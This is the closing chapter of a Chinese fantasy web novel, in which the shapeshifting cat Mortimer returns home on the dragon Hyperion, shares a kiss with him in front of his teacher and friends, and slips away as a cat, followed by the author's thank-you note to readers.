清亮的应声穿过契约,穿过云层,穿过万里长风,响亮地落进老师耳中。 远方,龙背上传来一阵忍不住的笑声。 地面上,众人也齐齐忍俊不禁。 …… 与所谓“不是最好,但合适”的结局相比,这真是一个还不错的结局,对吧? 太阳已经沉到了西边,变成暖橙色,亥伯龙载着莫特默,绕着地球转了一圈后,慢悠悠地往家的方向飞。 微风拂过莫特默的脸颊,让他舒适地眯起眼。 夕阳把一切都染成暖的,连风都是温热干燥的,带着被日头晒透后残留的温度。 今天真是一场大胜特胜。 猫,赢—— “你喜欢我。” 亥伯龙的声音忽然从胸腔深处震出来。 低沉,平稳,不是在问,只是在陈述一个事实。 莫特默的动作顿了一瞬:“……” 他没抬头,也没动,只是慢吞吞地开口: “有吗?” 他语气懒散,像是随口敷衍。 亥伯龙却没有像之前那般气恼,只是笑了一声。 低低的,从喉咙里滚出来。 “你自己清楚。” 莫特默又不说话了。 他卧在亥伯龙的头上,理应上看不到亥伯龙的脸,但他就是好似看到了亥伯龙此时会有的表情。 他就是知道。 此刻的亥伯龙肯定眯着他那双暗金色的竖瞳,嘴角微微向上勾着,勾起一个“我就知道”的弧度,带着点得意,带着点挑衅,还带着点“我看你还能嘴硬到什么时候”的笃定。 “唔。”莫特默的嘴角不由也勾了起来,“那就当是这样吧~” 他没有反驳,也没有解释,声音懒洋洋的,拖得老长,像是有一个小钩子。 身下巨大的红龙像是不满般喷了一个响鼻,飞行的速度蓦然加快。 巨大的翅膀扇动,带动气流。 风扑面而来,把莫特默的笑声吹散在空中。 近了,更近了。 莫特默已经能看到熟悉的废弃工地和大楼了。 不,经过那些魔法生物们的改造和这些时日来他们生活的气息,那里已经不能被称作废弃大楼了,而应该叫作 家。 而他的老师,他的死灵们,以及那些魔法生物们,正都站在院子里等着他回来呢。 大楼越来越近。 亥伯龙要下降了,他的翅膀收拢,瞄准地上的空地。 莫特默忽地站起,他站在龙头上,眯眼看着越来越近的地面,忽然坏笑了一下。 然后他纵身一跃。 失重感瞬间攫住了他,风在耳边呼啸,地面在视野里急速放大。 而就在下坠的过程中,他的身体开始变化。 毛茸茸的耳朵缩小,尾巴消失,身形拉长、舒展。猫的轻盈褪去,变为人的重量。 “我回来啦——!” 面容灵动的青年四肢大张着,笑声从天而降,清亮亮的,穿透风声,穿透夕阳,直直砸进院子里每个人的心里。 站在原地的老师等人面色很快从笑意变为愕然和惊慌,七手八脚地张开手想要接住下落中的莫特默。 莫特默放任自己往下落,没有用任何魔法。 因为他知道,会有人接住他的。 一定会。 “呼”地一下, 下坠的身体在半空顿住,稳稳地被托了起来。一双有力的手臂以教科书般标准的姿势接住了他。 一只手托住大腿,一只手护住后背,连冲击力都被卸得恰到好处。 咦,接住他的人是—— 莫特默眨眨眼,抬头。 下一秒, 他睁大了眼。 最先传来的是嘴上炙热温度,一张熟悉的脸近在咫尺,高挺的鼻梁顶着他的侧脸,熟悉的气息环绕在周围。 唔—— 细微的水声在两人之间传递。 见莫特默喘不过气来,亥伯龙微微松开了一点,给他换气的空间,他凝视着莫特默,瞳仁里映着被夕阳染红的天空,也映着莫特默染上绯红的面容。 然后,他再一次,将头深深地埋了下去。 这一次莫特默有了些经验,他的睫毛颤了颤,慢慢地抬起手,环上男人宽阔的背脊。 周围原本想接住莫特默的人早已停下了脚步,面面相觑。 老师放下举到一半的手臂,看着那旁若无人还在继续的两人,慢慢扶住额头。 好吧,看来这也是莫特默成长的一环。 就是…… 老师放下扶着额头的手,取而代之的,是一个小小的#字,浮现在刚刚他扶着的地方。 你们,是不是,有些,太久了?!! 夕阳把整个院子染成暖橙色,鱼儿在被微风吹动湖面的池子里微微一摆尾。 有鸟雀落在墙头,歪着脑袋看这一幕,又“啾”地一声飞走了。 而那两个人在满院子目瞪口呆的注视里,依然没有要分开的意思。 风拂过,带起几片落叶,打着旋儿从他们身侧飘落。 池塘里的鱼都没眼看地吐出一个泡泡,远远跑远了。 周围的人也终于忍无可忍,不知是谁起的头,一哄而上。 夕阳下,热闹的喧嚣在院子中响起,还有某个一眨眼就变成一只奶牛猫,趁着混乱一溜烟跑走的背影。 那只猫跑出几步,又回过头来,琥珀色的眼睛里闪烁着狡黠的光。 这就是故事的结尾,也将是故事的开始。 莫特默得意地翘起尾巴,他知道,之后还会有更多,更有意思的事情在等着他去探索,去体验。 而他,也不愧是绝世好猫,所有快乐和幸福都会奔他而来。 这个世界以前是,现在是, 今后,也一直会是他的乐园! 莫特默骄傲地挺起胸。 忽地,他一侧的耳朵警觉地向后撇去。 不好! 喵喵。不说了嗷,再说就要被追上了。 溜了溜了! 某个黑白配色的身影立即鬼鬼祟祟地光速遁走。 风吹过草丛,此地已经没有了任何身影。 而草丛间,只隐约留下了一串不知通往何方的猫脚印…… 可能在不久后,会有人能循着这道脚印,找到某个自称是“绝世好猫”的奶牛猫, 我们改变了世界,但依旧会在做完坏事后偷偷溜走的莫特默大人吧? 莫特默倏然打了一个喷嚏,警惕地回头:喵嗷? 作者有话说: 正文到此完结啦,谢谢追更的小天使们!么么么么,爱你们!!![红心]《 》